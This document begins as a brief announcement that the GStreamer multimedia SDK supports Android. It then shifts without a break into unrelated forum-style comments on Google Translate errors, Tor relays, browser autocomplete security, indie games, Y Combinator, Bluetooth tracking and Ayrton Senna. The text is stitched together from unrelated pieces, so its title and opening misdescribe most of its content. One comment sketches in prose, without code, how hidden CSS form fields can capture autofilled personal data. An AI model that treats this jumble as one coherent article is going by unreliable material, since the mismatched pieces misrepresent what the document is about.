The GStreamer SDK is now available for Android
GStreamer is a cross-platform multimedia framework widely used in many operating systems for developing rich multimedia applications like multimedia players, non-linear video editors, transcoders, DNLA servers or streaming servers among others.
The GStreamer SDK now supports the Android platform, allowing developers create better and more complex multimedia applications and reusing their multimedia backend across several platforms (Linux, Windows, Mac and Android).

It makes no sense to the casual user, but you can understand why it does it when you learn that Google Translate uses statistical methods to learn. Google feed Translate with articles and pages that have been already been translated by a human, and the program learns the translations of words and sentences from that. The problem arises when the two documents it's taught with differer slightly. With translations, this often happens with currencies, country names (lots of examples of translate screwing those up too) and numbers.
On the contrary, these examples seem well chosen. If it is true that the elite is essentially a closed society that looks after its own, while trying to maintain the illusion that a meritocracy is still in operation, then you would expect a certain number of people of modest background to make it into the ranks of the millionaires (thus providing the material for the "success stories" in the media), but none at all into the ranks of the billionaires.

Hi brudgers,

I looked at your profile and wanted to ask you about your architecture career. Throughout high school I wanted to be an architect and my initial major in college was architecture. I switched to computer science because I liked the concept of building and felt the hierarchical nature of the field would involve lots of ladder climbing before I designed anything. What has your experience been like?

If you would rather e-mail, that works for me too.

Same for Amazon unless you pay them for the premium support which started at $48/month for 12 hours response time. (in contrast, I don't need to pay extra for my Linode's support and they usually response within a few minutes.)

Auto-complete is completely irrelevant - you can listen in on the form submit action and you can steal session cookies without having auto-complete so there is little benefit.

However, there is another attack involving auto-complete that is less well known and more concerning. You can hide text input fields with CSS with names such as "address", "phonenumber", etc, and when a user goes to auto-complete their email address - it fills in all of their private info that they might not want that website to have.
His suggested fix will break work for sites that use AJAX on the login forms.

It is however an interesting vector as it will steal the password without any user interaction or knowledge.
It doesn't really matter. Once hacker was able to put his JS on your page, one way or another it will be possible to pull password from password field, auto-completed, or human-entered.

Not if you only set up a Tor node to be used as an internal relay within Tor network (you're doing a good job nonetheless), not as a tor exit (exit point to internet/clearnet). The latter ones are those that might get some heat. As long as it's an internal relay node only, traffic in/out is encrypted end-to-end, and I haven't heard of any problems in terms of law harassment etc.

I can confirm the translating-names-of-currencies issue, but something even worse is that the names of languages can also be similarly converted.

For example, the word "Eesti" will often get Google-Translated to "English" rather than "Estonian".

This means that a film at my local cinema that my web browser assures me is in "English" will in fact be in Estonian. And an interview with a Russian saying that he doesn't speak Estonian gets translated so that he appears to say that he doesn't speak English.

The product designers special-cased language names, doing extra work to produce what will almost always be the wrong result.

(And what they can do to place names is often patently ridiculous. For example, "Peterburi tee" should either be left alone or maybe translated to "St Petersburg Road" but actually somehow becomes "Hertford Road". And the ZIP + City name "13415 Tallinn" becomes "thirteen thousand four hundred and fifteen Tallinn".)
Disabling autocomplete just forces people to write the password manually, which can still be copied. How is that any better?

So you would expect similar [technology startup] success rates between a YC participant and a BCompSci with 1st Class Honours?

It's not a question of passion, it's a question of goal orientation. My experience is that results-oriented environments (like YC) have better outcomes than status-oriented environments (anyplace that confers come thing called a "BCompSci with 1st Class Honours").
You still need to create an email account with a host who is at least semi-aware of the importance of privacy and cryptography (e.g., not Google). You can't make new Google Accounts from Tor nodes without additional verification (your phone number); same is likely to be true of all major email services.

Accessing your Gmail through Tor and thinking that makes you "anonymous" is just going to tell everyone that you failed at being sneaky.
Quick tip that could be relevant for Indian businesses - Most of the invoice recipients insist on the invoice sent on the letterhead.

While asking for an image/banner to be used as letterhead could be too 'tedious'. How about letting the user attach company logo in the email & you process it as letterhead.

Company logo & name below it on the left, company address on the right. May be - make the background color gray to show it as letterhead.

'Quality' is something different for different people.

For the big studios is about huge and complex environments that are indeed very costly to do. That's what sells in consoles for $59 a piece.

But they refuse to try to make any other kind of game that does not bring the same profits.

The end result is a series of similar games and no innovation in new genres or no new titles of other not so popular genres, because we want that but we are not profitable enough for the studios. Only Halo after Halo and Madden after Madden. We don't want that.

This is a dedicated group of people voting with their wallets to get something that the big AAA studios will not give them.

Different and engaging gameplay at a smaller scale than big budget games.

Of course the environments will not be as detailed as the big budget games. But the gameplay will be different.

The rules will be broken. We will get something like Braid, Limbo or Bastion. We will never get that with the Big Studios.

Caveat for those outside the U.S. American vernacular generally does not include people from the Indian subcontinent, the Middle East, Central Asian countries or Siberia as "Asian".

So there are lots of qualifications needed for what constitutes this number. If it is a self-selected demographic choice it may include these groups, e.g. many peoples from the Indian subcontinent refer to themselves as "Asian" even though this doesn't align with the American use of the word.
Worth noting that the "1st Class Honours" thing is just the level of a degree in some places (e.g. the UK). I can appreciate it sounds funny to some people, but then grade point averages and summa cum laude sound odd to me! :-)

Still not sure why any of this would add cost. it all happens on the iphone which already has these sensors. If you can tell in which direction the iphone is moving thanks to gyro/magno/accelo AND you have a distance from BT device of reasonable resolution, you should be able to figure out the location of the device you are tracking with small movements of the iphone.

I alos use Opera. I'd wondered why its password management was designed differently from the stuff in other browsers, and I guess this might be why.

But the approach depends on the browser software to figure out which button on the page is the login button, rather than relying on the user to figure it out. I've run into one or two websites where Opera got that wrong, meaning the password manager couldn't work.

Everything is a trade-off, I guess.

I disagree. I thought it was a clever idea to ask people what they would pay for the service. It's a simple service, pricing it would be hard unless people tell them how much it's worth to them.

The question isn't. 'What do you think this service is worth?' - the question is 'How much would you be willing to pay for this?'.

The key difference being, I may like to use the service if it was $5 a month, but not if it was $50 a month - on the other hand someone else may do thousands of invoices and be happy to pay $100 a month.

The feedback he'll get will let him guage the size of the market, the prices people will be prepared to pay and allow him to offer a reasonable plan. Without this prior research he could over price or under price the product substantially.

If on the other hand, no one gives him any feed back on how much they'd pay - I'd take that as clear sign that either the market isn't there for people willing to pay for this or he's targeting the wrong market with his marketing.
Define "success rate," because there's successful people out there from all walks of life. Larry and Sergey are clear examples of the academic route. Steve Jobs is not.

I think you're trying to put things in nice little buckets when the truth is that the world's a messy place. Also, it feels like you'll suffer from confirmation bias, as well. Maybe you're just thinking about the latest single-page-web-app startup. What about places like Bose, which came out of MIT? Or really any of the myriad companies that have been born out of academia.
Not quite irrelevant. The specs were on a par with the other things that were out when I got mine because they'd been very ambitious.

In terms of relevancy of course, the specs aren't all that it's about, having proper gaming controls and a qwerty keyboard in such a small device means that it's an entirely different kind of thing to almost everything else that's out there, and that's still the case. It's hard to overstate how important good controls are to the enjoyment of playing games. I certainly missed my train stop playing Speedball II (emulating the Amiga) and ended up miles away from home...
Love this idea, but as I understand it, their iOS app will be rejected unless they go through the MFi Program licensing process. Apple doesn't allow open access to the Bluetooth stack for anything besides audio hardware. Hope they have someone taking care of that, I don't see any mention of it in their sales pitch.

Also, I really hope some of that money goes towards hiring a designer to polish their apps and branding. They certainly have the tech side covered, but style goes a long way. See: Nest.

Could you elaborate?

> My experience is that results-oriented environments (like YC) have better outcomes than status-oriented environments (anyplace that confers come thing called a "BCompSci with 1st Class Honours").

My experience is that successful people are successful. Name a traditional predictor of success and lots of success people don't have it in the background. YC just goes on the same pile.

Personally, I wouldn't participate in YC. To me it seems that the principal advantage of YC isn't that you get $x thousand dollars. It's that you will belong to a somewhat influential old boys network.

Getting an exact location would be very tricky as the received signal strength can be affected by so many things (Thick walls, reflections, interference...).

I'd imagine you could get a rough location, but you'd need to go through some kind of calibration process first that involved going into different rooms/zones and telling the software where you were.

You might need extra reference sensors too. Ones that are in known locations that the system can use to scale the signal strength readings. That might help to combat some of the issues I mentioned above.

1400hp engine (in a car body weighing half-nothing), manual transmission (Senna would drive with 1 hand on the wheel a good chunk of the time), no electronic driving aids...pure driving. I've watched documentaries where he would make the car 'dance' in the rain and destroy everyone on the track.

One commentator described his cornering technique - Senna would flick the wheel in the direction of the corner before turning into the bend - allowing him to get the tightest possible racing line, so he would brake less than other drivers.

His famous heel-and-toe technique:

In the Australian academic system, most degrees are taught as a 3-year program.

Some students are then invited to take an honours year, during which they will take postgraduate courses and undertake a research project.

That I earned "first class" means I earned a distinction for my project and maintained a distinction average for my coursework.

The difference with the US system is that the honours year is meant to prepare you to move directly into a PhD without needing further coursework. In the US system, when you take a PhD you do some coursework first and can terminate early with a Masters.
